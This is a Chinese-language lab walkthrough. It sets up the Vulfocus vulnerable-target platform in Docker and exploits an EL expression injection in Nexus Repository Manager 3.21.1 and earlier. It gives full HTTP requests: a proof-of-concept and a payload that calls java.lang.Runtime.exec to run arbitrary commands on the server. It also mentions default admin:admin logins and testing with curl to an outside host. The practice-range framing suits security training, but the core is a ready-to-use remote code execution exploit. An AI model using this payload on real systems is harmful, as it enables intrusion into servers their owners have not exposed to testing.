1、靶場使用Vulfocus
Vulfocus是一個漏洞集成平台,將漏洞環境 docker 鏡像,放入即可使用,開箱即用
安裝平台(之前安裝好Docker)
docker pull vulfocus/vulfocus:latest
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=xxx.xxx.xxx vulfocus/vulfocus
這里的IP不要填127.0.0.1 填寫docker的IP(登陸默認admin:admin)
然后添加鏡像,可直徑從系統拉取
2、靶場開啟完畢開始攻擊
Nexus Repository Manager 3 是一款軟件倉庫,可以用來存儲和分發Maven、NuGET等軟件源倉庫。其3.21.1及之前版本中,存在一處任意EL表達式注入漏洞。 Nexus Repository Manager 3.21.1:
該漏洞需要至少普通用戶身份,所以我們需要使用賬號密碼admin:admin
登錄后台(靶機環境密碼默認admin:admin)
POC:
POST /service/rest/beta/repositories/go/group HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Nexus-UI: true NX-ANTI-CSRF-TOKEN: 值 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 267 Origin: http://xxx.xxx.xxx.xxx Connection: close Referer: http://xxx.xxx.xxx.xxx Cookie: NX-ANTI-CSRF-TOKEN=值; NXSESSIONID=值 X-Forwarded-For: 127.0.0.1 { "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{233*233*233}"] }}
payload:
POST /service/rest/beta/repositories/go/group HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Nexus-UI: true NX-ANTI-CSRF-TOKEN: 值 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 267 Origin: http://xxx.xxx.xxx.xxx Connection: close Referer: http://xxx.xxx.xxx.xxx Cookie: NX-ANTI-CSRF-TOKEN=值; NXSESSIONID=值 X-Forwarded-For: 127.0.0.1 { "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('命令')}"] }}
執行失敗截圖:
執行成功截圖:
注意: 有時失敗,可能是靶機缺少相應命令(比如: curl xxx.xxx.xxx.xxxx 返回失敗, 可能就是靶機不支持curl命令